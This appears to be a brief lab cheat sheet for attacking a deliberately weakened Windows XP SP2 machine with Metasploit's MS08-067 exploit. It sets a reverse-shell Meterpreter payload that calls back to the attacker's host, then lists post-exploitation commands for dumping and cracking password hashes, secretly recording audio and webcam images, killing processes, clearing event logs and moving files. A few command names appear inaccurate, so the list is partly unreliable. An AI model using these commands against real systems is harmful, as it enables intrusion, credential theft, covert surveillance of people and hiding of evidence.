Windows XP SP 2 Setup:
Make sure Automatic Updates are disabled, the Windows Firewall is off, and the system has been restarted at least once.
Metasploit:
use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.1.45
exploit #Do not execute at this point if you want to add the payload below
? or help #see the list of available meterpreter commands
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacking_kali_host_ip>
set LPORT <local_port> #default port is 4444
You can verify the connection from the remote machine with the following command:
netstat -a | grep 4444 #4444 assumes default local port
Some interesting Meterpreter commands are:
hashdump #get password hashes to crack, crackstation.net
record_mic #record audio
webcam_list #list available webcams
web_snap #take a picture with the webcam
web_stream #stream video from webcam
sysinfo #get remote system information
shutdown #turn off remote computer
reboot #reboot remote computer
ps #list processes running on remote computer
kill #end process running on remote computer
execute –f <file> #start program on remote machine
clearev #clear the event log
upload #send file to remote system
download #retrieve file from remote system